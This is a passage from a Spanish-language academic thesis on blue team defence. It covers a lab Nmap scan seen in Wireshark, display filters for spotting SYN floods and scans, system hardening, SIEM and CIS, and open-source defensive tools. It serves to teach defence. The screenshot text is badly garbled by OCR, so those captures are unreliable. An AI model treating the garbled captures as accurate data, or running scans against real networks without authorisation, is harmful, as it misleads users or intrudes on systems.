57 53 45 00 0c 00 =0 93 04 00 57 4f 52 4b 47 52 WSE WORKGR
47 55 50 00 00 00 00 0O b3 £9 03 Da 0D 10 00 89  OUP
59 22 08 00 57 49 de 37 00 YT

Fuente: Autor

Figura 47. Grafica de umbrales de trafico e informacion de red

tudiants

*any

Wireshark- /0 Graphs -any

Wireshark /0 Graphs: any

Name Resolution Preferences... |

No.

5122
§2. 22
53 22
54 22
55 22
56 22
57 24

60 24
61 24
62 25
63 27
64 27
65 27
66 27
67 27
68 28

~ Frame 58:
~ Interface id: 8 (any)

Time

Source
.017148816 Te86:
.017148904 e8!
017148941 Teso:
017148979 feso:
.027808254
.880211826
. 985436327

986615801 Teso:
.996113739 fes
.856767560 feB0::al
.055178360 fe80
.956306515 fes
956306563 Teso:
956306589 Teso:
.964106041 fe80:
.575816865 fe80::af

152 bytes on wire

Packets/1 sec

\

\\/

/

ark - Pac...

(oD HACF ge

Interface name: any 0 5 10 ] 15
Encapsulation type: Linux Time (s)
Arrival Time: Mar 6, 202 )

[Time shift for this pack Hover aver the graph for details.

fﬂg;g e g::ﬁ?:\lﬁnﬁ Enabled Graph Name _|Display Filter Color style
[Time delta from previous| v All Packets Line
[Time since reference or All Packets Line
Frame Number: 58

Frame Length: 152 bytes ( AllFaticts Line
Capture Length: 152 bytes| All Packets [
[Frame is marked: False] [ [

ferane 1 sorored: balstll ||| |[m|[B  mouse @ drags (i zooms el sec <

[Coloring Rule Name:

ICHP

Fuente: Autor
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Podemos detallar con esta grafica el pico que se realizé al momento del
escaneo con la herramienta Nmap la host victima y la transmision de

paquetes en la red.

Luego de analizar el trafico de la red se toman las siguientes medidas en
la herramienta WireShark para identificar ataques informaticos en la red.
Se agregan los siguientes filtros para identificar un escaneo, ataques de
DDos, DoS, suplantacién ARP, ataques de inundaciéon de SYN en la red:
Para obtener paquetes SYN, SYN + ACK, RST y RST + ACK, utilice el filtro
“tep.flags == 0x012 o tcp.flags == 0x002 o tcp.flags == 0x004 o tcp.flags
== 0x014

Para obtener paquetes ICMP tipo 3 con codigo 1, 2, 3, 9, 10 o 13,

use “icmp.type == 3 y (icmp.code == 1 o icmp.code == 2 o icmp.code =
= 13) ”filtro.
tcp.flags == 0x000 tcp.flags == 0X029 icmp.type == 3 y icmp.code ==

= 3 0 icmp.code == 9 o icmp.code == 10 o icmp.code

icmp.type == 3 y icmp.code == 2 tcp.flags.syn == 1 tcp.flags.ack == 0

Figura 48. Comandos para detectar amenazas

i Kali - Seminario [Corriendo] - Oracle VM VirtualBox — x

Archivo Méquina Ver Entrade Dispositivos  Ayuda

O [Editando W... [estudiante.. & *any [Wireshark -.. E] estudiante... [estudiante... 30AM O ) A TI%| & &

ile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

® % [0 | & =

=Eaaaw

[ip-addr == 102.168.1.8 BLd -] +
Name Resolution Preferences... Address: | fe80::d63ficbif:fe8a:7650 ~ | Name: & X cancelar
Time Source Destination Protocol Lengtt Info =

387 164.374080517 192.168.1.8 DuS 67 Standard query Gx5070 SOA local

388 164.397654827 200.31.208.161 DNS 142 Standard query response 0x5979 No such name SOA local S0A a.root-servers.net

432 173.168098762 192.168.1.8 DNS 67 Standard query Oxd8db SOA local

433 173.189046623 200.31.208.101 DNS 142 Standard query response Oxd8db No such name SOA local SOA a.root-servers.net

436 173.276675350 192.168.1.8 DNS 67 Standard query Gxbedc SOA local

437 173.308758706 200.31.208,101 DHS 142 Standard query respense Oxbedc N such name SOA local SOA a.root-servers.net

499 180.809214918 192.168.1. 1cHp 160 Echo (ping) request t£1=64 (no response found!)

492 190.820548509 192.168.1.
844121468 192,
95. 625621678 192.
647263246

512, ttl=64 (no response found!)
768, ttl=64 (no response found!)
tt1=64 (reply in 507)

256, tt1=116 (request in 506)

ICHP 100 Echo (ping) reply
7]

1564 618693277024 192.168.1.8 5 100 Echo (ping) request 256, ttl=64 (reply in 1567)

1567 618.693924706 192,168,110 192.168.1.8 100 Echo (ping) reply 0926 256, tt1=128 (request in 1564)

1568 619.716725015 192,168,1.8 192.168.1.10 e 100 Echo (ping) reguest 1d=0x09as, 512, tt1=64 (reply in 1569) &
Frame 576: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface any, id @ =

~ Interface id: 0 (any)
Interface name: any

Encapsulation type: Linux cooked-mode capture (25)
Arrival Time: Mar 6, 2622 07:15:32.695304917 -85
[Time shift for this packet: 0.600609906 seconds]
Epoch Time: 1646568932.695304917 seconds
[Time delta from previous captured frame: 8.913753944 seconds]
[Time delta from previous displayed frame: 30.251166967 seconds]

&

[Time Since reference or Tirst frame: 225,898424213 seconds]

Frame Number: 576

Frame Length: 76 bytes (668 bits)

Capture Length: 76 bytes (608 bits)

[Frame is marked: False]

[Frame is ignored: False

[Protocols in frame: slliethertype:ip:tcp]

TColoring Rule Name: HTTP1 ¥

B & o5 @) @ B o omecra

Fuente: Autor
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Figura 49. Comandos para detectar amenazas

i8] Kali - Seminario [Corriendo] - Oracle VM VirtualBox — X
Archive Maquina Ver Entrada

sitivos  Ayuda

ile Edit View Go

[Strean index; 4] =

A e [TCP Segnent Len: 8]

L [ Sequence number: © relative sequence number)

Sequence number (raw): 4184300566 —
ip-addr — 192.164 [Next sequence number: 1  (relative sequence number)] BHET -] +
= ] Acknowledgment number: ©

Name Resolution Pre Acknowledgnent number (raw): 0 X Cancelar
7 ey . = Header Length: 40 bytes (18) =

387 164.374086 SN
388 164.397654
432 173.168098
433 173.189046!
436 173.276675!
437 173.308758
199 189300214
492 199320548
494 191.844171,

506 1956256211 ~ lapnaaes i : -
i ~ [Expert Info (Chat/Sequence): Connection establish reqijest (SYN): server port 8]

[Connection establish request (SYN): server port
[Severity level: Chat]
[Group: Sequence]

& = Fin

Reserved: Not set
once: Not set
ongestion Window Reduced (CWR): Not set

cknowledgment: Not set

> T )
580 227.900412f |t seie ces : Not set
1564 518.60327) i 00 04 00 01 00 06 08 00 27 1f 41 01 00 00 08 00 A
1567 618.603924 0 45 00 60 3c 5d dd 40 69 40 B6 59 7c cO a8 81 B8 E--<].@ @Y| -
1568 619.716725 i cB a8 91 Ga ab B8 60 50 f9 6e Td 36 6C 00 08 OO g P né =
—— - | Goa0 a0 02 fa 083 9109 09 02 04 0504 94 0208 0 - . |
ErEnEbn g 3 64 2c Be 00 0D 00 68 01 03 03 07 a :

- Interface id:
Interface n
Encapsulation
Arrival Time:
[Time shift fi
Epoch Tine: 16
[Time delta f
[Time delta f
| —
Frame Humber :
Erame Length:
Capture Length)
[Frame is mar|
[Frame is ign
[Protocols in
fColorina Ruld +

& @ =@ 8] @ & creperecH

Fuente: Autor

Aqui podemos detallar el escaneo que se realizé con la herramienta Nmap
desde la direccion IP: 192.168.1.8 hacia la IP de la victima: 192.168.1.10

Luego de hacer el analisis de riesgo de la red, se realiza hardening a los
equipos activando el firewall y se realiza la instalacién del antivirus gratuito
para ayudar a identificar cambios en los sistemas protegidos frente ataques

informaticos:

e Se procede activar la solucién de seguridad en la maquina
Windows 7

Figura 49. Activar proteccién
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Fuente: Autor
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Se procede habilitar las actualizaciones de Windows:

Figura 50. Activacion actualizaciones
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Fuente: Autor

Se procede a instalar antimalware AvastFree en el Windows 7:

Figura 51. Activar proteccion
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Fuente: Autor

Se procede a modificar la configuracion de la tarjeta de red en

la maquina virtual a modo promiscuo para tener acceso a todo
el trafico:
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Figura 52. Configuracion tarjeta de red
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Fuente: Autor

Cabe resaltar que es de suma importancia conocer las mejores practicas

que ayudan a tener oportunidad en la repuesta frente ataques informaticos:

Figura 53. Mejores practicas

Configuracion politica local de seguridad en el sistema.

sldentifica procesos y requisitos de utilizacién de contrasefias, deshabilitar cuentas de
administrador y limitar los privilegios de los usuarios.

sPermite identificar si el sistema a sufrido algun tipo de alteracién o modificacién seguin la
base de datos almacenada y tomada al principio de las labores.

Auditorias en los servicios.

*Permite identificar los servicios que se ejecutan, sus caracteristicas ante un eventual
ataque, que puertos son utilizados y que tipo de protocolos son utilizados.

Proteccion de Hardware.

*Restringue las entradas a cualquier dispositivo de almacenamiento externo, contrasefias
de arranque del sistemas.

Aislar procesos.

*Aplicacion de servidores dedicados y aislados de la red, denegando el ingreso a intrusos.

Llaves SSH.

*Estructura una autenticacion secreta y una para poder compartir con el resto de
usuarios.

Programas de seguridad.
*Intalacion de antivirus, antispam y antispyware.
VPN - Redes Privadas.

*Creacion de conexiones remotas que se encuentran disponibles exclusivamente para
ciertos usuarios/servidores.

Fuente: https://www.welivesecurity.com/la-es/2010/05/24/defensa-en-profundidad/
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14 DIFERENCIA ENTRE UN BLUE TEAM Y EQUIPO DE
RESPUESTA A INCIDENTES

En el siguiente cuadro comparativo observaremos las diferencias y

caracteristicas mas relevantes de ambos equipos:

Tabla 1. Comparacién blueteam y respuesta a incidentes

Caracteristica

Equipamiento respuesta
incidentes informaticos

Equipos Blue team

Equipo

Operabilidad

Hecho

Actuador

Analisis

Vigilancia

Estudio

Verificacion

Se enfoca en incidencias
inforrmaticas.

Identifica causantes de

incidentes y sus
consecuencias.
Incidentes de hechos
sospechosos.

Gestiona incidencias de
una entidad.

Analiza situaciones vy

responde a incidencias

Es periodica, pues los
objetivos son especificos
y eficientes para nulidad
de atagues.
Endurecimiento de
software, para reducir el
ndmero de incidentes.

Efectividad en la
respuesta con normalidad
en la operatividad de la
entidad.

Gestion de los respectivos
incidentes

Se enfoca en seguridad
defensiva.

Identifica comportamiento
sobre el sistema y
aplicaciones.

Actla sobre atagues de
amenaza y riesgos.
Contencion de ataques vy
propone mejoras para la
entidad.

Analiza y evalla riesgos -
soluciones SEIM

Es constante  permitiendo

procesos de documentacion en
bienestar de la entidad.

Caracterizacion forense de las
maquinas afectadas, propone

soluciones y medidas de
deteccion.
Caracteriza |la efectividad de

las medidas de seguridad.

Rastreo de incidentes de

ciberseguridad.

Proceso

Fuente: https://www.sciencedirect.com/science/article/pii/S071686402030095X
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15 ANALISIS DE TRABAJAR CON CIS “"CENTER FOR INTERNET
SECURITY” PARA ROPUESTA DEL BLUE TEAM

Definicion CIS (Center For Internet Security): Este sistema de seguridad
tiene como objetivo principal mantener la seguridad de internet, realizando
actividades como identificar, ejecutar, validar y proporcionar soluciones
correspondientes a procesos de ciberdefensa. Este sistema cuenta con
diversas herramientas y controles que permiten realizar configuraciones de
seguridad sobre el sistema a proteger, coordinado bajo normas legales

vigentes.

Como equipo Blue team lo utilizaria como un procedimiento establecido
para seguridad contra ataques cibernéticos, ya gue maneja un estandar

establecido bajo proceso de seguridad y permite controlar al atacante.

Estor procedimientos se ejecutan cuando sucede alguno de los siguientes

casos en donde el atacante aprovecha:

* La ubicacion de equipos desprotegidos y que se encuentren

conectados a una red.

* En el momento de mal uso de los privilegios, caso particular; ser
engafiado para abrir un archivo maliciosos o acceso a paginas que lo

unico que buscan es ingresar a tu sistema.

* La explotacion de algunas vulnerabilidades como los son puertos,
servicios, contrasefias inseguras, cuentas mal protegidas o instalacior

de software que no son necesarias su ejecucion.

* Indagar configuracion de la red para exploracion remota para

distribucion de material y/o informacion maliciosa.

* Alteracion del sistema para ingresar configuraciones, manipulacion
del software y cualquier tipo de informacion salvaguardada en el

disco.

* Engafio de usuarios con falsos procesos de informacion dafiada y

aplican codigos maliciosos.

* Buscan identificar e indagar si la informacion confidencial esta

salvaguardada con la misma seguridad de la informacion ordinaria.
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eInterceptar comunicaciones y conexiones inaldambricas en

la red de la empresa.

* Hacer uso de cuentas no usadas para realizar los procesos de
ingreso de informacion maliciosa, ya que este tipo de cuentas no

permiten ser descubiertos.

* Rastreo de operacion en servicios mal configurados para implantar

procesos maliciosos.

16 FUNCIONES Y CARACTERISTICAS DE UN SIEM

SIEM es un Modelo informatico, que permite realizar el proceso de
seguridad de la informacion y la respectiva gestion de ventos. Tiene como
principal objetivo detectar amenazas que se presenten en las
organizaciones de manera potencial y resolverlas de manera eficiente en un

corto tiempo.

FUNCIONES PRINCIPALES.

* Permitir resolver de manera eficiente y eficaz a cualquier tipo de amenaza.

* Analizar en tiempo real ataques que se presente en el hardware y/o
software, alertando segun el progreso de la amenaza.

* Detectar amenazas, ataques, vulnerabilidad, mal uso del sistema de
informacién, precisando cual de ellos estdn en mayor riesgo de ataque.

* Minimizas la afectacion del ataque en tiempos cortos.

* Visualizar los proceso y procedimientos de la seguridad en los sistemas
teleinformaticas.

CARACTERISTICAS PRINCIPALES.

* Herramientas contra amenazas: Implementar aplicaciones para la
seguridad.

* Monitoreo: Convergencia de aplicaciones, fuentes de datos e interfaz,
para analisis de la informacion

* Usuarios: Socializa infraccion de politicas de seguridad, bloqueos vy
desbloqueos de cuentas, cambios en privilegios, entre otros.

* Caracterizacion: ldentificacion de eventos discretos, comportamientos
sospechosos, concordancias en listas blancas, entre otras.

* Administraciones incidentes: Notifica a los usuarios precisos, procesos de
configuracién de aletas y acciones automatizadas.

» Contexto de amenazas: Valida eventos sospechosos para ser evaluados y
priorizar el de mayor impacto y riesgo.

* Riegos de datos: Recolecta informacién total del caso generado, ya que
permite manejar cantidad de bases de datos.
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17 . HERRAMIENTAS PARA LA CONTECION DE ATAQUES
INFORMATICOS

A continuacion, se realizara el testeo de las herramientas de cddigo abierto y
se detallara como podrian apoyar la gestién de los equipos de red team y
blue para las pequefias empresas, lo criterios son con base a la calificacion

que muchos expertos califican como las mejores.
Para el equipo de red team se recomiendan las siguientes en herramientas:

Suricata: Es una herramienta de cdédigo abierto que cumple las funciones de
IDS e IPS en la red lo cual permite detectar intrusiones en tiempo real y
tomar acciones inmediatas para detener un ataque en tiempo real y sirve
como apoyo para los equipos de Blue Team para monitorear en linea todos
los eventos en la red, también permite definir reglas para reducir los falsos

positivos.

Evebox: Una solucién de cdédigo abierto que se apoya en el motor de

deteccidn suricata para detectar amenazas en la red

The Hive: Es una herramienta de cédigo abierto que ayuda a la respuesta a
incidentes y se integra muy bien con MISP plataforma de intercambio de

informacion de malware a nivel mundial.

Firewall OPNsense next Generation Firewall: Este tipo de solucién de
cédigo abierto ayuda detectar y bloquear trafico malicioso previamente
definido para no bloquear servicios legitimos y permite aplicar controles en la

red como:

e Aplication control

e Url Filtering

e VPN- Site to Site

e Encryted attacks proteccion

e Acceleration SSL

88



Docker: Esta solucién nos permite llevar a cabo la monitorizacién de todo el
analisis del correlacionador de eventos con pocos recursos en un servidor

virtualizado que permita tener toda la fase de correlacion de eventos.

2Snort: Es un IDS de cdédigo abierto que tiene la capacidad para realizar
analisis de trafico en tiempo real y registro de paquetes en redes.

Security Onion: Es una herramienta de cdédigo abierto que permite tener
visibilidad del trafico de la red generando alertas sobre las actividades

sospechosas.

OpenWIPS-NG: Herramienta de coédigo abierto ayuda a la deteccion de

amenazas y prevencién de ataques en redes inaldmbricas.

OSSEC: Es un IDS que permite el analisis de los paquetes en la red
comprobando la integridad y supervision de registros en los sistemas
operativos generando alertas en tiempo real para una respuesta oportuna a

un incidente de seguridad.

Open Source Tripwire: Esta herramienta de cdédigo abierto es detectar
cambios en los objetos del sistema de archivos. Como inicios de sesién y
explora el sistema de archivos segun las instrucciones configuradas en el
sistema y almacena la informacidon de cada archivo, cuando se cambian los
archivos en exploraciones futuras, los resultados se comparan con los valores

almacenados anteriormente para saber si ha sufrido cambios.

HIDS: Es una herramienta de deteccidn de intrusiones que proporciona

salvaguardas y seguridad en la red frente a las intrusiones informaticas.

IDS basados en firmas: Es una herramienta de cddigo abierto que permite

inspeccionar los paquetes de la red y comprarlos con las firmas integradas

22016. Hackers Don’t Have to Be Human Anymore. This Bot Battle Proves It. [En
linea] 8 de 5 de 2016. https://www.wired.com/2016/08/security-bots-show-
hacking-isnt-just-humans/.
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para detectar patrones maliciosos de ataque preconfigurados vy

predeterminados.

IDS basados en anomalias: es una herramienta que permite el monitoreo
de la red en tiempo real y permite el analisis de puertos y esta basado en
comportamiento si un umbral supera la linea establecida alertara de una

posible intrusién

IDS Pasivo: Solo ayuda a la deteccion y alerta de eventos sospechosos en

la red.
Para el equipo de blue team se recomiendan las siguientes en herramientas:

MISP: Es una herramienta de cédigo abierto de intercambio de informacion
de malware, ransomware, virus que sirve para recopilar, almacenar, distribuir
y compartir indicadores de compromiso de seguridad cibernética y analisis de

malware.

AlienVault Open Threat Exchange: Es una herramienta de acceso publico
para la gran comunidad de internet y ayuda a los equipos de blue team poder
saber las tendencias diarias sobre amenazas de dia cero y proporciona
indicadores de compromiso de amenazas generados por la comunidad,
permite la investigacién colaborativa y automatiza el proceso de actualizacién
de la infraestructura de seguridad con datos de amenazas desde cualquier

fuente.

VirusTotal: Es una plataforma para el analisis de amenazas e indicadores de
compromiso gratuita que permite a los equipos de blue team y red team tener
mayor certeza de los archivos, urls, direcciones IP, dominios que pueden ser

maliciosos para prevenir ataques antes de que sucedan.

Implementar nodo de un MISP en una organizacién ayuda a mejora las
capacidades de ciberseguridad y de analisis de datos, especialmente en
términos de correlacién, almacenamiento, procesamiento de datos vy
visualizacién de la informacion. Los MISP permiten obtener indicadores de
compromisos en forma oportuna lo cual permite dar oportunidad a la
respuesta frente a un incidente que podrian evitar un incidente. un MISP El

objetivo de fondo es tomar medidas pro-ciberseguridad sin esperar que existe
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un marco normativo ideal, y beneficiar a diferentes comunidades a nivel
mundial mediante una férmula de colaboracion probada y exitosa, que
permita formar una cultura organizacional de ciberseguridad en nuestro

ecosistema y poder generar sinergias y tener una seguridad proactiva.

Alien Voult OTX

Es una de las herramientas de cédigo abierto mas potentes de la industria de
ciberseguridad que ayudan a proteger la informacion de las empresas su
producto estrella es Open Threat Exchange (OTX), es una herramienta de
cédigo abierto comunitaria que brinda respuesta a amenazas de seguridad.
La herramienta permite a los expertos en ciberseguridad investigar de una
forma granular y hacer parte de una gran comunidad colaborativa y enfrentar
estas nuevas amenazas, aplicando una nueva capacidad que hoy en dia se
debe tener en cuenta y es la inteligencia artificial para analizar gran cantidad
de datos de diversas fuentes de datos para luego integrar los datos analizados

y obtener informacion recopilada e integrarla a los sistemas de seguridad.

OTX y otras propuestas de uso cédigo abierto, en AlienVault ofrecen un
producto de pago es una solucion de seguridad llamada Unified Security
Management que integra lo mejor de ambas plataformas para la deteccién de

amenazas, la respuesta a incidentes y la gestion de la seguridad unificada.
SandBox Cuckoo

Esta herramienta nos permite realizar el analisis de malware estatico y
dindmico para poder extraer el comportamiento del malware dentro de una
maquina y comprender su funcionamiento y poder extraer los indicadores de
compromiso para luego ser aplicados en las herramientas de seguridad como
Endpoint, firewall’'s, WAF, EDR's.

Firewall de aplicaciones web: (WAF) es un elemento que busca

resguardar los sistemas web mediante el monitoreo y filtrado del trafico
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tipo HTTP entre el servidor de la aplicacidon web e Internet. Generalmente,
resguardar las aplicaciones web de ataques como la inyeccion de SQL,
inclusién de archivos, la falsificacion de cross-site, cross-site-scripting
(XSS), entre otros.

Un WAF, que no esta creado para todos los ataques, pero en su logica se
desarrolla una defensa holistica en contra de varios vectores de ataque.
Proteger una aplicacién web con un WAF, es colocar una proteccién entre
el sistema web e Internet. A diferencia de un servidor proxy que buscar
proteger la identidad de una maquina cliente mediante un intermediario,
con un WAF se busca proteger al servidor de la exposicidn haciendo que

los usuarios cliente pasen por el firewall antes de llegar al servidor.

Los WAF trabaja mediante reglas o politicas que protegen contra
vulnerabilidades en la aplicacién ya que filtran el trafico malicioso. La
ventaja de esta tecnologia radica en la facilidad y velocidad con la que se
puede modificar una politica, generando respuesta rapida a los posibles

vectores de ataque.

Funcionamiento

La mayoria de WAF’s procesan en trafico entrante de manera similar a

través de cinco etapas:

e Analizar el paquete HTTP que envia el usuario cliente.

e Seleccionar la regla o politica dependiendo del tipo de parametro
de entrada.

¢ Normalizar los datos para ser analizados.

e Aplicar una regla de deteccion.

e Decidir si el paquete es o no dafino.

Aqui, el WAF define si termina la conexién o pasa el trafico al nivel de
aplicacion. En el cuarto punto, Aplicar una regla de deteccién funciona
diferente dependiendo del WAF los cuales se basan en los diferentes

parametros para ser clasificados asi:
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Expresiones regulares.

Reputacion de paquetes.

Deteccién de anomalias.

Generador de puntuacién
e Tokenizadores.

e Analizadores léxicos.

Ventajas

Los WAF proporciona respuestas inteligentes, de acuerdo con la
configuracién de seguridad web y las amenazas que podria afectar una
red. Los WAF se disefiaron para robustecer la seguridad de la red de
posibles amenazas no conocidas como por ejemplo ataques de dia cero,
inyeccion de SQL, vulnerabilidades de seguridad, ataques de secuencias
de comandos entre sitios, entre otro que utilizan el navegador como vector
de ataque.3 Los WAF implementados de manera correcta ayudan a mitigar
los ataques de trafico excesivo o botnets, DDos manteniendo el trafico de
aplicaciones sin afectaciones mientras defiende en paralelo los flujos de

datos maliciosos.

A continuacion, se realizaran tres ataques a la maquina 1 utilizando las

herramientas disponibles en la maquina 2 con Kali Linux.
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18 RECOMENDACIONES

En el presente documento se recomiendan las herramientas de cddigo abierto
que pueden utilizar los equipos de red team y blue team para realizar las
consultorias a las empresas deben tomar consciencia y tomar la iniciativa de
implementar modelos de seguridad bajo normas internacionales vy
estandartes de seguridad o framework con el apoyo de controles por medio
de herramientas de cddigo abierto que permitan implementar una postura de
seguridad que ayude a reducir la superficie de riesgo de un ataque, esta
investigacion pretende recomendar herramientas de codigo abierto que
generen sinergias entre los equipos de red team y blue team que permitiran
a las empresas a generar ciber resiliencia frente a las amenazas del hoy
implementando SOC internos o por outsourcing que les permitira medir el
nivel de madurez en el que se encuentran las empresas y proponer PTR (Plan
de Tratamiento de Riesgos ) para corregir los hallazgos que se encuentren
con el analisis de vulnerabilidades y de riesgos de la infraestructura expuesta

a un ataque informatico.

Enlace del Video de la Sustentacion del Trabajo:

https://youtu.be/VfyiMPc4FSo
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CONCLUSIONES

En las empresas es necesario que se cree un area de ciberseguridad
compuesta por personas con habilidades técnicas avanzadas que permitan
ejecutar todas las tareas que impliquen la posible afectacidn de un sistema

informatico.

De acuerdo con el ejercicio realizado muestra la importante de tener todos
los sistemas informaticos al dia con sus parches de seguridad para evitar la
explotacion de vulnerabilidades criticas que pongan en riesgo la integridad de
toda una empresa. El equipo conformado por las personas de ciberseguridad,
deberadn tener capacidades especiales y tener dominio de toda Ia
administracion y gestién de las politicas de seguridad informatica para tener

claro las fases de un Blue Team y un Red Team.

El personal del area de ciberseguridad ejecutar proyectos y estrategias, que
permitan mitigar los ataques informaticos y permitan responder frente a un
incidente de ciberseguridad y se debe contar con un equipo de respuesta a
incidentes que por lo general hace parte del equipo de Blue Team que es un
aliado estratégico para los administradores de los sistemas, que cuentas con
las habilidades para contener, recuperar y responder a un incidente con todas

las capacidades necesarias para afrontar un ciberataque.

Lo ideal seria que las personas que estarian a cargo de la seguridad de los
sistemas tengan conocimientos en normas de seguridad informatica y de
leyes colombianas que le permitan tipificar los delitos informaticos con el
proposito de que el personal no incurra en conductas antiprofesionales vy
garantizando los tres pilares de la seguridad confiabilidad, integridad y

autenticacion.
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